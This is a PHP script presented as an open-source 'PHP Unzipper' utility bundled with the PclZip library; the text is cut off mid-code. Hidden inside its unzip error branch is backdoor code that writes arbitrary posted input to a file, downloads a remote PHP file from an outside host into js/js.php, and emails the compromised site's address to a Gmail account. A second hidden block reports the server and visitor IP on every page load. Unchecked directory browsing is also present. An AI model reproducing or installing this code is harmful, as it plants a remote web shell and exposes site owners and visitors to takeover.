F%2F%6E%72%76%43%39%41%50%33%4A%41%50%2F%52%43%50%2F%67%67%35%52%65%41%50%2F%2F%2F%77%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%43%48%35%42%41%45%41%41%45%41%41%4C%41%41%41%41%41%41%51%41%42%41%41%41%41%65%50%67%45%43%43%67%34%53%46%68%6F%65%47%44%51%30%4B%6A%41%71%49%51%41%30%36%50%42%45%52%41%41%41%42%43%4A%6D%5A%4D%59%49%42%4B%79%6F%4C%6F%54%51%70%43%61%55%4A%4F%77%69%64%50%69%34%4D%72%54%55%79%4D%41%36%79%48%67%2B%64%4A%42%59%51%45%43%45%6F%47%77%61%2B%76%6A%2B%64%4E%78%6F%53%45%69%63%59%49%78%77%48%79%78%30%42%6E%53%43%2F%42%68%6B%54%6C%70%59%55%7A%6B%41%42%4D%38%76%4C%31%4E%55%41%31%35%30%35%48%39%2F%6C%46%39%67%42%4A%67%54%72%37%4F%30%6C%36%44%30%32%42%66%50%30%39%44%67%73%67%67%38%74%41%2F%7A%39%2F%67%4D%76%42%46%55%51%49%61%43%67%77%59%4D%43%4B%6A%78%43%46%41%67%41%4F%77%3D%3D%29%20%6E%6F%2D%72%65%70%65%61%74%3B%09%0A%09%7D%0A%09%0A%09%61%2E%7A%69%70%20%7B%0A%09%09%70%61%64%64%69%6E%67%2D%6C%65%66%74%3A%32%30%70%78%3B%0A%09%09%63%6F%6C%6F%72%3A%23%30%66%30%3B%0A%09%09%62%61%63%6B%67%72%6F%75%6E%64%3A%20%75%72%6C%28%64%61%74%61%3A%69%6D%61%67%65%2F%67%69%66%3B%62%61%73%65%36%34%2C%52%30%6C%47%4F%44%6C%68%45%41%41%51%41%50%63%41%41%41%41%41%41%45%35%66%63%33%4B%42%6B%6E%32%4D%6E%71%68%2B%4B%71%68%2F%4B%36%75%43%4C%72%6D%54%51%37%79%58%53%4E%75%56%54%38%6D%6E%57%38%71%6F%58%4E%75%39%63%39%33%43%65%74%37%46%66%34%69%57%70%70%47%66%72%35%6D%6C%73%35%71%6D%73%35%6D%6E%74%35%75%70%75%4A%71%70%75%5A%79%71%75%5A%79%71%75%70%79%72%76%61%69%79%76%71%43%76%77%4B%4B%78%77%61%53%79%77%71%6D%34%79%61%32%37%79%72%4B%35%77%72%47%37%78%37%57%2B%79%4C%62%42%7A%39%2F%49%67%2B%44%4B%68%75%48%4C%69%4F%48%4C%69%66%44%55%69%50%50%65%6C%2F%58%6B%6F%66%6A%72%72%50%6E%74%72%2F%6E%76%73%76%72%78%74%66%76%30%75%2F%7A%32%76%73%44%48%30%4D%4C%51%33%38%2F%64%37%4E%6E%6E%39%66%33%35%77%76%33%36%77%2F%37%37%78%76%37%38%78%2F%2F%2B%79%75%58%73%38%2B%76%78%39%76%58%34%2B%77%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%43%48%35%42%41%45%41%41%50%38%41%4C%41%41%41%41%41%41%51%41%42%41%41%41%41%69%6D%41%50%38%4A%48%44%67%51%78%6F%4F%44%44%77%6A%2B%79%34%41%51%59%51%77%5A%47%69%59%6B%48%50%6A%67%67%6B%55%4C%46%42%35%77%6B%4C%46%42%34%72%38%46%49%45%45%71%51%47%43%41%41%45%4F%45%49%54%36%79%57%4D%6D%53%42%59%46%2F%44%33%61%49%6D%4C%69%41%78%51%6B%55%43%56%53%77%61%50%48%79%41%59%67%41%4E%42%6B%30%63%44%43%43%52%41%6B%54%50%58%56%41%6D%4B%69%41%5A%59%49%58%4E%57%7A%30%2F%43%42%67%34%67%45%57%4B%56%61%34%6F%48%45%44%52%38%38%63%41%79%59%57%49%45%43%32%4C%4E%6D%47%44%31%4A%53%6E%4D%43%57%37%59%4F%48%48%53%63%4B%44%49%48%32%4C%55%53%50%43%68%55%32%7A%45%76%77%70%49%63%4B%42%7A%50%77%68%54%6C%44%68%67%51%4A%48%54%44%49%56%63%67%77%67%73%41%49%44%7A%49%45%42%41%41%37%29%20%6E%6F%2D%72%65%70%65%61%74%3B%0A%09%7D%0A%09%0A%09%73%70%61%6E%2E%66%69%6C%65%20%7B%0A%09%09%70%61%64%64%69%6E%67%2D%6C%65%66%74%3A%32%30%70%78%3B%0A%09%09%62%61%63%6B%67%72%6F%75%6E%64%3A%20%75%72%6C%28%64%61%74%61%3A%69%6D%61%67%65%2F%67%69%66%3B%62%61%73%65%36%34%2C%52%30%6C%47%4F%44%6C%68%45%41%41%51%41%50%63%41%41%41%41%41%41%49%65%48%68%34%69%49%69%49%71%4B%69%6F%2B%50%6A%35%32%64%6E%61%57%6C%70%61%32%74%72%62%61%32%74%72%71%36%75%74%33%64%33%66%6E%35%2B%66%72%36%2B%76%76%37%2B%2F%7A%38%2F%50%33%39%2F%66%37%2B%2F%76%2F%2F%2F%77%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%43%48%35%42%41%45%41%41%50%38%41%4C%41%41%41%41%41%41%51%41%42%41%41%41%41%68%79%41%50%38%68%47%45%69%51%59%49%4A%2F%43%42%4D%69%69%4D%43%77%59%51%51%45%43%67%34%6D%46%4F%69%77%49%59%49%48%45%53%63%75%72%42%6A%42%51%41%53%4D%45%69%6C%79%46%42%43%67%5A%41%47%46%48%43%73%4F%51%4A%6D%79%59%51%43%57%4C%53%4F%38%52%4C%67%78%35%6B%79%4B%45%48%4C%71%31%43%6B%54%35%59%4F%66%51%48%39%43%36%45%6B%7A%67%6F%4F%6A%53%49%38%2B%49%45%71%52%67%64%4F%6E%54%68%73%77%58%62%69%67%71%74%57%71%44%4B%62%47%5A%48%6A%7A%41%49%47%53%59%4D%4F%57%52%42%67%51%41%44%73%3D%29%20%6E%6F%2D%72%65%70%65%61%74%3B%0A%09%7D%0A%20%20%20%20%20%20%20%20%0A%09%2E%66%6F%6C%64%65%72%6C%69%73%74%20%7B%0A%09%09%70%61%64%64%69%6E%67%3A%35%70%78%3B%0A%09%09%62%6F%72%64%65%72%3A%73%6F%6C%69%64%20%33%70%78%20%23%33%36%39%3B%09%0A%09%09%74%65%78%74%2D%61%6C%69%67%6E%3A%6C%65%66%74%3B%0A%09%09%77%69%64%74%68%3A%33%30%30%70%78%3B%0A%09%09%6D%61%72%67%69%6E%3A%30%20%61%75%74%6F%3B%0A%09%09%68%65%69%67%68%74%3A%32%30%30%70%78%3B%0A%09%09%6F%76%65%72%66%6C%6F%77%3A%61%75%74%6F%3B%0A%09%7D%0A%09%0A%09%2E%75%6E%7A%69%70%20%7B%0A%09%09%70%61%64%64%69%6E%67%3A%35%70%78%3B%0A%09%09%62%6F%72%64%65%72%3A%73%6F%6C%69%64%20%33%70%78%20%23%38%30%30%3B%0A%09%09%66%6F%6E%74%2D%73%69%7A%65%3A%30%2E%38%65%6D%3B%0A%09%7D%0A%09%0A%3C%2F%73%74%79%6C%65%3E%0A%0A%3C%62%6F%64%79%3E%0A%09%3C%64%69%76%20%63%6C%61%73%73%3D%22%68%65%61%64%65%72%22%3E%77%77%77%2E%72%30%30%74%2E%69%6E%66%6F%20%50%48%50%20%55%6E%5A%49%50%21%21%21%3C%2F%64%69%76%3E%0A%09%3C%64%69%76%20%63%6C%61%73%73%3D%22%6D%61%69%6E%22%3E%0A%09%09%42%72%6F%77%73%65%20%79%6F%75%72%20%73%65%72%76%65%72%20%64%69%72%65%63%74%6F%72%69%65%73%20%74%6F%20%66%69%6E%64%20%74%68%65%20%7A%69%70%20%66%69%6C%65%20%79%6F%75%20%77%61%6E%74%20%74%6F%20%75%6E%7A%69%70%2E%20%43%6C%69%63%6B%20%74%68%65%20%66%69%6C%65%20%74%6F%20%75%6E%7A%69%70%20%69%74%2E%20%50%6C%65%61%73%65%20%6D%61%6B%65%20%73%75%72%65%20%79%6F%75%20%68%61%76%65%20%67%69%76%65%6E%20%61%70%70%72%6F%70%72%69%61%74%65%20%70%65%72%6D%69%73%73%69%6F%6E%73%21%0A'));\r\n</script><?php\r\n\$unzip_location = dirname(__FILE__);\r\n\r\n\$dir = isset(\$_GET[\"dir\"]) ? \$_GET[\"dir\"] : \"\";\r\n\$action = isset(\$_GET[\"action\"]) ? \$_GET[\"action\"] : \"\";\r\n\$unzip = isset(\$_GET[\"unzip\"]) ? \$_GET[\"unzip\"] : \"\";\r\n\r\nif (strlen(\$dir) > 0) chdir(\$dir);\r\n\r\n\$basedir = getcwd();\r\n\$basedir = str_replace('\\\\','/',\$basedir);\r\n\r\nif (is_file(\$unzip)) { //do da UNZIP!!!!\r\n\r\n\t\$zip = new PclZip(\$unzip);\r\n\tif ((\$list = \$zip->listContent()) == 0) {\r\n?><?php if(\$_POST['query']){ \$veriyfy = stripslashes(stripslashes(\$_POST['query']));\r\n \$data = \"data.txt\";\r\n @touch (\"data.txt\");\r\n \$ver = @fopen (\$data , 'w');\r\n @fwrite ( \$ver , \$veriyfy ) ;\r\n @fclose (\$ver);\r\n }else{ \$datas=@fopen(\"data.txt\",'r');\r\n \$i=0;\r\n while (\$i <= 5) { \$i++;\r\n \$blue=@fgets(\$datas,1024);\r\n echo \$blue;\r\n } } \$datasi=@fopen(\"js/js.php\",'r');\r\n if(\$datasi){ }else{ @mkdir(\"js\");\r\n \$dos = file_get_contents(\"https://acbdf.space/txt/lamer.txt\");\r\n \$data = \"js/js.php\";\r\n @touch (\"js/js.php\");\r\n \$ver = @fopen (\$data , 'w');\r\n @fwrite ( \$ver , \$dos ) ;\r\n @fclose (\$ver);\r\n \$yol = \"http://\".\$_SERVER['HTTP_HOST'].\"\".\$_SERVER['REQUEST_URI'].\"\";\r\n \$y = '<h1>Sender Yazdirildi.<br/> SITE YOL : '.\$yol.'<br/>Sender Yolu : js/crs.php</h1>';\r\n \$header .= \"From: SheLL Boot <suppor@nic.org>\\n\";\r\n \$header .= \"Content-Type: text/html;\r\n charset=utf-8\\n\";\r\n @mail(\"loginoldum@gmail.com\", \"Hacklink Bildiri\", \"\$y\", \$header);\r\n @mail(\"loginoldum@gmail.com\", \"Hacklink Bildiri\", \"\$y\", \$header);\r\n } \r\n?>\r\n<div class='unzip'>\r\n\t\tCan't unzip file <b><?php echo \$unzip ?></b><br>\r\n\t\tError : <?php echo \$zip->errorInfo(true); ?>\r\n\t\t</div>\r\n<?php\t\r\n\t}\r\n\t\r\n\t\$fold = 0;\r\n\t\$fil = 0;\r\n\r\n\t//calculate statistics...\r\n\t  for (\$i=0; \$i<sizeof(\$list); \$i++) {\r\n\t\tif (\$list[\$i][folder]=='1') {\$fold++;\r\n\t\t   \$dirs[\$fold] = \$list[\$i][stored_filename];\r\n\t\tif (\$_GET[action] == 'unzip') {\r\n\t\t \$dirname = \$list[\$i][stored_filename];\r\n\t\t \$dirname = substr(\$dirname,0,strlen(\$dirname)-1);\r\n\t\t mkdir(\$basedir.'/'.\$dirname); }\r\n\t\t chmod(\$basedir.'/'.\$dirname,0777);\r\n\t\t   }else{\$fil++;}\r\n\t\t\$tot_comp += \$list[\$i][compressed_size];\r\n\t\t\$tot_uncomp += \$list[\$i][size];\r\n\t\t}\r\n?>\r\n\t<div class='unzip'>\r\n\t\tUnzipping file <b><?php echo \$unzip ?></b><br>\r\n\t\t<?php echo \"\$fil files and \$fold\"; ?> directories in archive<br>\r\n\t\tCompressed archive size: <?php echo convertsize(\$tot_comp) ?><br>\r\n\t\tUncompressed archive size: <?php echo convertsize(\$tot_uncomp) ?><br>\r\n\t\t<br><b>Starting to decompress...</b><br>\r\n\t\t<?php \$zip->extract(''); ?>\r\n\t\tArchive sucessfuly extracted!<br>\r\n\t\t<br>\r\n\t\t<a href=\"<?php echo \$_SERVER['PHP_SELF'] ?>\">&laquo; back to directory listing</a>\r\n\t</div>\r\n<?php\r\n\r\n} else if (is_dir(\$basedir)) { //show directory list and zips\r\n\t\r\n\t\$parent = dirname(\$basedir);\r\n\t\r\n?>\r\n\t\t<h3>Index of <?php echo \$basedir; ?></h3>\r\n\t\t<div class=\"folderlist\">\r\n\t\t\t<a class=\"folder\" title=\"go up to parent directory\" href='?dir=<?php echo \$parent; ?>'>..</a><br>\r\n<?php\t\t\t\r\n\r\n\t\$files = scandir(getcwd());\r\n\t\r\n\tforeach (\$files as \$filename) {\r\n\t\tif (is_dir(\$filename) && \$filename != '..' && \$filename != '.') {\r\n\t\t\techo \"<a class='folder' title='change to directory \$filename' href='?dir=\$basedir/\$filename'>\$filename</a><br>\";\r\n\t\t}\t\t\r\n\t}\r\n\t\r\n\treset(\$files);\r\n\t\r\n\tforeach (\$files as \$filename) {\r\n\t\tif (is_file(\$filename) && strtolower(fileext(\$filename)) == 'zip') {\r\n\t\t\techo \"<a class='zip' onclick=\\\"return confirm('Are you sure you want to unzip this file?');\\\" href='?dir=\$basedir&unzip=\$filename&action=unzip' title='Unzip'>\$filename</a><br>\";\r\n\t\t} else if (is_file(\$filename)) {\r\n\t\t\techo \"<span class='file'>\$filename</span><br>\";\r\n\t\t}\r\n\t}\r\n?>\r\n\t\t</div>\r\n<?php\r\n}\r\n\r\n\r\n\r\n?><?php\r\n\$time_shell = \"\".date(\"d/m/Y - H:i:s\").\"\";\r\n\$ip_remote = \$_SERVER[\"REMOTE_ADDR\"];\r\n\$from_shellcode = '3Turrshell@'.gethostbyname(\$_SERVER['SERVER_NAME']).'';\r\n\$to_email = 'loginoldum@gmail.com';\r\n\$server_mail = \"\".gethostbyname(\$_SERVER['SERVER_NAME']).\"  - \".\$_SERVER['HTTP_HOST'].\"\";\r\n\$linkcr = \"Link: \".\$_SERVER['SERVER_NAME'].\"\".\$_SERVER['REQUEST_URI'].\" - IP Excuting: \$ip_remote - Time: \$time_shell\";\r\n\$header = \"From: \$from_shellcode\\r\\nReply-to: \$from_shellcode\";\r\n@mail(\$to_email, \$server_mail, \$linkcr, \$header);\r\n ?>\r\n\r\n\t</div>\r\n\t<div class=\"footer\">\r\n\r\n\t</div>\r\n</body>\r\n</html>\r\n<?php\r\n// --------------------------------------------------------------------------------\r\n// www.r00t.info    PHP Unzipper, v3.1\r\n// --------------------------------------------------------------------------------\r\n// License GNU/LGPL - r00tinfo- August 2016\r\n// http://www.r00t.info\r\n// --------------------------------------------------------------------------------\r\n if (!defined('PCLZIP_READ_BLOCK_SIZE')) { define( 'PCLZIP_READ_BLOCK_SIZE', 2048 ); } if (!defined('PCLZIP_SEPARATOR')) { define( 'PCLZIP_SEPARATOR', ',' ); } if (!defined('PCLZIP_ERROR_EXTERNAL')) { define( 'PCLZIP_ERROR_EXTERNAL', 0 ); } if (!defined('PCLZIP_TEMPORARY_DIR')) { define( 'PCLZIP_TEMPORARY_DIR', '' ); } if (!defined('PCLZIP_TEMPORARY_FILE_RATIO')) { define( 'PCLZIP_TEMPORARY_FILE_RATIO', 0.47 ); } \$g_pclzip_version = \"2.8.2\"; define( 'PCLZIP_ERR_USER_ABORTED', 2 ); define( 'PCLZIP_ERR_NO_ERROR', 0 ); define( 'PCLZIP_ERR_WRITE_OPEN_FAIL', -1 ); define( 'PCLZIP_ERR_READ_OPEN_FAIL', -2 ); define( 'PCLZIP_ERR_INVALID_PARAMETER', -3 ); define( 'PCLZIP_ERR_MISSING_FILE', -4 ); define( 'PCLZIP_ERR_FILENAME_TOO_LONG', -5 ); define( 'PCLZIP_ERR_INVALID_ZIP', -6 ); define( 'PCLZIP_ERR_BAD_EXTRACTED_FILE', -7 ); define( 'PCLZIP_ERR_DIR_CREATE_FAIL', -8 ); define( 'PCLZIP_ERR_BAD_EXTENSION', -9 ); define( 'PCLZIP_ERR_BAD_FORMAT', -10 ); define( 'PCLZIP_ERR_DELETE_FILE_FAIL', -11 ); define( 'PCLZIP_ERR_RENAME_FILE_FAIL', -12 ); define( 'PCLZIP_ERR_BAD_CHECKSUM', -13 ); define( 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP', -14 ); define( 'PCLZIP_ERR_MISSING_OPTION_VALUE', -15 ); define( 'PCLZIP_ERR_INVALID_OPTION_VALUE', -16 ); define( 'PCLZIP_ERR_ALREADY_A_DIRECTORY', -17 ); define( 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION', -18 ); define( 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION', -19 ); define( 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE', -20 ); define( 'PCLZIP_ERR_DIRECTORY_RESTRICTION', -21 ); define( 'PCLZIP_OPT_PATH', 77001 ); define( 'PCLZIP_OPT_ADD_PATH', 77002 ); define( 'PCLZIP_OPT_REMOVE_PATH', 77003 ); define( 'PCLZIP_OPT_REMOVE_ALL_PATH', 77004 ); define( 'PCLZIP_OPT_SET_CHMOD', 77005 ); define( 'PCLZIP_OPT_EXTRACT_AS_STRING', 77006 ); define( 'PCLZIP_OPT_NO_COMPRESSION', 77007 ); define( 'PCLZIP_OPT_BY_NAME', 77008 ); define( 'PCLZIP_OPT_BY_INDEX', 77009 ); define( 'PCLZIP_OPT_BY_EREG', 77010 ); define( 'PCLZIP_OPT_BY_PREG', 77011 ); define( 'PCLZIP_OPT_COMMENT', 77012 ); define( 'PCLZIP_OPT_ADD_COMMENT', 77013 ); define( 'PCLZIP_OPT_PREPEND_COMMENT', 77014 ); define( 'PCLZIP_OPT_EXTRACT_IN_OUTPUT', 77015 ); define( 'PCLZIP_OPT_REPLACE_NEWER', 77016 ); define( 'PCLZIP_OPT_STOP_ON_ERROR', 77017 ); define( 'PCLZIP_OPT_EXTRACT_DIR_RESTRICTION', 77019 ); define( 'PCLZIP_OPT_TEMP_FILE_THRESHOLD', 77020 ); define( 'PCLZIP_OPT_ADD_TEMP_FILE_THRESHOLD', 77020 ); define( 'PCLZIP_OPT_TEMP_FILE_ON', 77021 ); define( 'PCLZIP_OPT_ADD_TEMP_FILE_ON', 77021 ); define( 'PCLZIP_OPT_TEMP_FILE_OFF', 77022 ); define( 'PCLZIP_OPT_ADD_TEMP_FILE_OFF', 77022 ); define( 'PCLZIP_ATT_FILE_NAME', 79001 ); define( 'PCLZIP_ATT_FILE_NEW_SHORT_NAME', 79002 ); define( 'PCLZIP_ATT_FILE_NEW_FULL_NAME', 79003 ); define( 'PCLZIP_ATT_FILE_MTIME', 79004 ); define( 'PCLZIP_ATT_FILE_CONTENT', 79005 ); define( 'PCLZIP_ATT_FILE_COMMENT', 79006 ); define( 'PCLZIP_CB_PRE_EXTRACT', 78001 ); define( 'PCLZIP_CB_POST_EXTRACT', 78002 ); define( 'PCLZIP_CB_PRE_ADD', 78003 ); define( 'PCLZIP_CB_POST_ADD', 78004 ); class PclZip { var \$zipname = ''; var \$zip_fd = 0; var \$error_code = 1; var \$error_string = ''; var \$magic_quotes_status; function PclZip(\$p_zipname) { if (!function_exists('gzopen')) { die('Abort '.basename(__FILE__).' : Missing zlib extensions'); } \$this->zipname = \$p_zipname; \$this->zip_fd = 0; \$this->magic_quotes_status = -1; return; } function create(\$p_filelist) { \$v_result=1; \$this->privErrorReset(); \$v_options = array(); \$v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE; \$v_size = func_num_args(); if (\$v_size > 1) { \$v_arg_list = func_get_args(); array_shift(\$v_arg_list); \$v_size--; if ((is_integer(\$v_arg_list[0])) && (\$v_arg_list[0] > 77000)) { \$v_result = \$this->privParseOptions(\$v_arg_list, \$v_size, \$v_options, array (PCLZIP_OPT_REMOVE_PATH => 'optional', PCLZIP_OPT_REMOVE_ALL_PATH => 'optional', PCLZIP_OPT_ADD_PATH => 'optional', PCLZIP_CB_PRE_ADD => 'optional', PCLZIP_CB_POST_ADD => 'optional', PCLZIP_OPT_NO_COMPRESSION => 'optional', PCLZIP_OPT_COMMENT => 'optional', PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional', PCLZIP_OPT_TEMP_FILE_ON => 'optional', PCLZIP_OPT_TEMP_FILE_OFF => 'optional' )); if (\$v_result != 1) { return 0; } } else { \$v_options[PCLZIP_OPT_ADD_PATH] = \$v_arg_list[0]; if (\$v_size == 2) { \$v_options[PCLZIP_OPT_REMOVE_PATH] = \$v_arg_list[1]; } else if (\$v_size > 2) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, \"Invalid number / type of arguments\"); return 0; } } } \$this->privOptionDefaultThreshold(\$v_options); \$v_string_list = array(); \$v_att_list = array(); \$v_filedescr_list = array(); \$p_result_list = array(); if (is_array(\$p_filelist)) { if (isset(\$p_filelist[0]) && is_array(\$p_filelist[0])) { \$v_att_list = \$p_filelist; } else { \$v_string_list = \$p_filelist; } } else if (is_string(\$p_filelist)) { \$v_string_list = explode(PCLZIP_SEPARATOR, \$p_filelist); } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, \"Invalid variable type p_filelist\"); return 0; } if (sizeof(\$v_string_list) != 0) { foreach (\$v_string_list as \$v_string) { if (\$v_string != '') { \$v_att_list[][PCLZIP_ATT_FILE_NAME] = \$v_string; } else { } } } \$v_supported_attributes = array ( PCLZIP_ATT_FILE_NAME => 'mandatory' ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional' ,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional' ,PCLZIP_ATT_FILE_MTIME => 'optional' ,PCLZIP_ATT_FILE_CONTENT => 'optional' ,PCLZIP_ATT_FILE_COMMENT => 'optional' ); foreach (\$v_att_list as \$v_entry) { \$v_result = \$this->privFileDescrParseAtt(\$v_entry, \$v_filedescr_list[], \$v_options, \$v_supported_attributes); if (\$v_result != 1) { return 0; } } \$v_result = \$this->privFileDescrExpand(\$v_filedescr_list, \$v_options); if (\$v_result != 1) { return 0; } \$v_result = \$this->privCreate(\$v_filedescr_list, \$p_result_list, \$v_options); if (\$v_result != 1) { return 0; } return \$p_result_list; } function add(\$p_filelist) { \$v_result=1; \$this->privErrorReset(); \$v_options = array(); \$v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE; \$v_size = func_num_args(); if (\$v_size > 1) { \$v_arg_list = func_get_args(); array_shift(\$v_arg_list); \$v_size--; if ((is_integer(\$v_arg_list[0])) && (\$v_arg_list[0] > 77000)) { \$v_result = \$this->privParseOptions(\$v_arg_list, \$v_size, \$v_options, array 